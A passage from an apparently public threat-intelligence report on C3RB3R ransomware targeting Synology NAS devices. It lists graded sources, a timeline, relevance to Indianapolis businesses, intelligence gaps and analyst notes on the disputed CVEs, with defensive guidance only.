Published 2026-10-21 · **A1** Completely reliable, confirmed by other sources
KEV added 2026-10-26, due 2026-10-29.

[S17] NVD: CVE-2026-109619
Published 2026-10-21 · **A1** Completely reliable, confirmed by other sources
KEV added 2026-10-26, due 2026-10-29. NVD CVSS v3.1 is 8.1.

[S18] FIRST: EPSS score for CVE-2024-10441
Published 2026-11-02 · **A2** Completely reliable, probably true
Model output. The low score does not reflect the vendor's exploitation notice.

[S19] FIRST: EPSS scores for CVE-2026-13639, CVE-2026-13684, CVE-2024-50629 and CVE-2024-10445
Published 2026-11-02 · **A2** Completely reliable, probably true
Model output.

[S20] CISA: Known Exploited Vulnerabilities Catalog (JSON feed)
Published 2026-10-30 · **A1** Completely reliable, confirmed by other sources
Catalog version 2026.10.30. Only the newest entries, back to 2026-09-16, were read directly; earlier KEV absence is taken from the NVD records.

[S21] soimy/c3rb3r-rescue (GitHub): DSM incident report
Published 2026-10-29 · **C2** Fairly reliable, probably true
De-identified community forensic report. Provides hashes and the strongest public evidence for the CVE-2024-10441 path, but lacks the full HTTP request and original cron file.

[S22] Benjamin-zlt/c3rb3r-baremetal-rescue (GitHub): Case report
Published · **C2** Fairly reliable, probably true
Community forensic case on an unofficial Xpenology build with exposed Telnet, so it may not represent genuine Synology hardware. Page date not stated.

[S23] Ericality/c3rb3r-dsm-case-20261028 (GitHub): De-identified forensic record of a DSM C3RB3R case
Published · **C2** Fairly reliable, probably true
Genuine DS1821+ on DSM 7.2.0-64570-1. Incident date 2026-10-28. Does not confirm the entry vector.

[S24] soimy/c3rb3r-rescue (GitHub issue): Independent case: Btrfs copy-on-write recovery without the key (Issue 12)
Published · **C3** Fairly reliable, possibly true
Single community case on an unofficial build. No synot cron or dropper files found, which limits those indicators.

[S25] akari-sora/synology-nas-cli (GitHub): INCIDENT-C3RB3R consolidated incident notes
Published · **C3** Fairly reliable, possibly true
Community aggregation, including V2EX, Reddit and regional analyses that were not opened. Main source for network indicators and login-injection strings; the author marks many items unconfirmed. The tool itself was not run.

[S26] SynoPower Club: C3RB3R Ransomware on Synology: 4 Steps to Respond and Recover (2026)
Published 2026-10-31 · **C3** Fairly reliable, possibly true
Vendor blog promoting its own licenses. Sole source for the customer email detail of 30 October and several indicators. Date is the page update.

[S27] SheMo Noransom: LOCK3D / L0CK3D Ransomware (C3RB3R) Response & Recovery
Published 2026-10-29 · **C3** Fairly reliable, possibly true
Commercial recovery vendor; its service claims are not verified. Useful for family history, and its historical indicators are not independently opened.

[S28] Gridinsoft: Synology C3RB3R Ransomware: Locked NAS Files and Patch Advice
Published 2026-10-30 · **C2** Fairly reliable, probably true
Secondary summary comparing the Synology and 360 claims. Date is last-updated.

[S29] Techaeris: Synology NAS Ransomware Alert: C3RB3R Locks Files W/ .L0CK3D
Published 2026-10-31 · **C3** Fairly reliable, possibly true
Secondary report and the source for the Solar and KISA remarks and the PoC date; no links given for those claims.

[S30] IT-Connect: C3RB3R ransomware is hitting Synology NAS devices: how to protect yours
Published 2026-10-29 · **C2** Fairly reliable, probably true
Secondary report with practical guidance. Its PoC link was not opened.

[S31] RocketZero: C3RB3R Ransomware on Synology NAS: What to Do (2026)
Published 2026-10-31 · **C3** Fairly reliable, possibly true
Marketing blog. Used for current-build reference only; confirm against the Synology Download Center. Date is the page update.

[S32] NAS Compares: Synology LOCK3D / C3RB3R Ransomware Attack: Everything You Need to Know
Published 2026-10-30 · **C2** Fairly reliable, probably true
Independent NAS specialist site. Secondary on the technical claims.

[S33] WindowsForum: Synology NAS C3RB3R Ransomware Attacks: Update DSM and Check Your Backups
Published 2026-11-02 · **C3** Fairly reliable, possibly true
Secondary summary, mainly of BleepingComputer.

[S34] The Hacker News: Critical Atlassian Flaw Exploited to Deploy Linux Variant of Cerber Ransomware
Published 2024-04-17 · **B2** Usually reliable, probably true
Family background summarizing Cado Security. The Cado original now redirects and was not read.

[S35] soimy/c3rb3r-rescue (GitHub): c3rb3r-rescue README
Published · **C2** Fairly reliable, probably true
Community response guidance. Warns that recovery is case dependent. No tool was run.

Grades use the Admiralty scale: letter = source reliability (A completely reliable to F cannot be judged), number = information credibility (1 confirmed to 6 cannot be judged).

MISCELLANEOUS

Timeline

Date	Event	Source
2024-11-05	Synology publishes SA-24:20 after Pwn2Own 2024.	[S3]
2024-12-05	SA-24:20 revised for the DSM 6.2 update, which probably explains the December 2024 date in Synology's notice.	[S3]
2025-03-19	CVE-2024-10441 and related flaws are publicly disclosed in detail.	[S3] [S8]
2026-09-18	Synology publishes SA-26:13, including CVE-2026-13639 and CVE-2026-13684.	[S4] [S10] [S11]
2026-10-01	Placeholder date for early October, exact day not reported: 360 says requests for help from Synology owners began around this time.	[S5] [S32]
2026-10-17	Earliest dated victim post in the BleepingComputer forum thread.	[S7]
2026-10-22	Synology publishes SA-26:14 for PHP2Shell.	[S15]
2026-10-25	A public write-up and proof of concept for the 2024 flaw reportedly appears on GitHub, after the first infections. Single secondary report.	[S29]
2026-10-26	CISA adds the PHP2Shell CVEs to KEV with a due date of 2026-10-29.	[S16] [S17]
2026-10-28	Victim reports surge, and forensic details of the login-injection path are shared in the community.	[S23] [S24] [S25]
2026-10-29	Synology issues its notice, and 360 publishes its warning and sample analysis.	[S1] [S5]
2026-10-30	Vendor blog reports a Synology customer email naming SA-24:20 as the only exploited vulnerability and ruling out PHP2Shell. Unverified.	[S26] [S29]
2026-11-02	BleepingComputer publishes its report, later updated on 3 November.	[S6]
2026-11-03	The Hacker News publishes its report tying the notice to SA-24:20.	[S2]

Relevance to Indianapolis, Indiana & managed clients

No Indiana or Indianapolis victims appear in the sources reviewed, and no geographic breakdown has been published. The risk still fits the local market well. Small and mid-size businesses, school districts, medical

practices, county and municipal offices and manufacturers commonly use NAS devices as file servers and backup targets, often with remote access set up long ago and little monitoring. A plant or clinic that keeps its only backups on the same NAS could lose both production files and its recovery copy; reporting of encrypted Hyper Backup targets and database dumps makes this concrete. Healthcare and public-sector organizations should bring in counsel early on whether encrypted or potentially accessed records trigger notification duties, since the note claims data theft that remains unproven. For managed IT service clients, treat this as a fleet task: use RMM and external scans to list all Synology devices, check IPv4 and IPv6 exposure and update levels, and include unmanaged home-office and branch units. Small ransom demands can tempt owners to pay directly, so clients should be told to call their provider first and leave the device powered on. Confirmed incidents should also be reported to the FBI through IC3 and shared with the relevant sector ISAC where membership applies.

Intelligence gaps

- Which vulnerability or vulnerabilities actually provide initial access. Synology has not publicly named a CVE, and 360 has not published exploit evidence for its CVE claim.
- Whether any genuine device on a fully patched DSM build was compromised. The DSM 7.4.1-90080 Update 1 report and the Solar team's zero-day suspicion were seen only in secondary sources; the Solar report was not found.
- Victim count, sector and geographic spread. Shadowserver's 380,000 figure measures exposure, and its data was not opened directly.
- Who operates the campaign and whether the 2026 activity is linked to earlier C3RB3R waves, the original Cerber operation or leaked Conti code.
- Whether data is actually stolen. The note claims theft, but no leak site or confirmed exfiltration was found in the sources.
- Whether the reported IPs, hashes, accounts and port 46137 will be confirmed by Synology or a major intelligence vendor. Watch for a Synology technical update and a first-tier vendor write-up.
- SA-26:13 status for DSM 7.2, 7.1 and 6.2. The advisory lists no fix for those branches and CVE records show earlier versions as unknown.
- Reddit victim posts could not be read with available tools; their forensic content is known only through summaries in other sources. The SentinelOne report was rate limited and the Cado report no longer resolves at its original address, so older-wave details rest on secondary sources.
- The Synology knowledge base checklist page returned no article body, so Synology's checklist is known here only through a vendor blog summary, and a current KEV state beyond catalog version 2026.10.30 was not checked. No Bitcoin wallet address or 2026 onion address was published in the sources reviewed.

Other notes

- Vendor and researcher disagreement: Synology points to SA-24:20, 360 to SA-26:13. Community reports show victim builds on both sides, including 7.2-64561, 7.2.0-64570-1, 7.2-64570-3 and 7.2.1-69057-1 and -5, all below the 2024 fix, as well as 7.2.1-69057 Update 9, above the 2024 fix but below the 2026 fix. A victim on 7.2.2-72806 has an unconfirmed update level.
- Date discrepancy: Synology's notice says December 2024, but SA-24:20 dates from November 2024. The likely reason is the staged rollout, the last part of which reached DSM 6.2 on 5 December 2024. This is an analyst inference.

- A correction to the briefing's excerpt: its example build, 7.2.2-72806-1, meets the SA-24:20 minimum only. SA-26:13 needs 7.2.2-72806-9 or later.
- EPSS does not reflect the threat here. CVE-2024-10441 scores 0.01251 despite the vendor's exploitation notice, while CVE-2024-50629 scores far higher at 0.31942. KEV status and CISA's SSVC exploitation value of none also lag the reporting.
- PHP2Shell (SA-26:14) is a separate issue in KEV. Press reports that list it as a C3RB3R vector are uncorroborated, and a Synology email reported by secondary sources reportedly rules it out, so treat it as an independent patching priority.
- Recovery outcomes vary. Community cases recovered the session key from a running encryptor, and a separate Btrfs method recovered partly encrypted files in one case. Other victims found no key once the process had exited. The published candidate key is reported not to work for other victims, and memory-recovery steps require skilled handling.
- The name is easy to confuse. C3RB3R is also tracked as Cerber and CerberImposter, and is linked to earlier Confluence and GitLab exploitation. Sources date its first appearance differently, December 2021 or December 2022. This does not establish continuity of operators.
- At least one forum post describes a Zyxel NAS326 with the same symptoms, and 2022 TerraMaster NAS reports are also recorded. Check non-Synology NAS devices too, though their entry route would differ.

CTI-20261103-03 v1.0 · Generated 2026-11-03 08:49 EST from public reporting. Drafted with AI assistance and reviewed by Nick Sturgeon. Verify indicators and actions before operational use. Summaries are in the analyst's own words.

Back to the daily briefing.

TLP:CLEAR Unrestricted public release.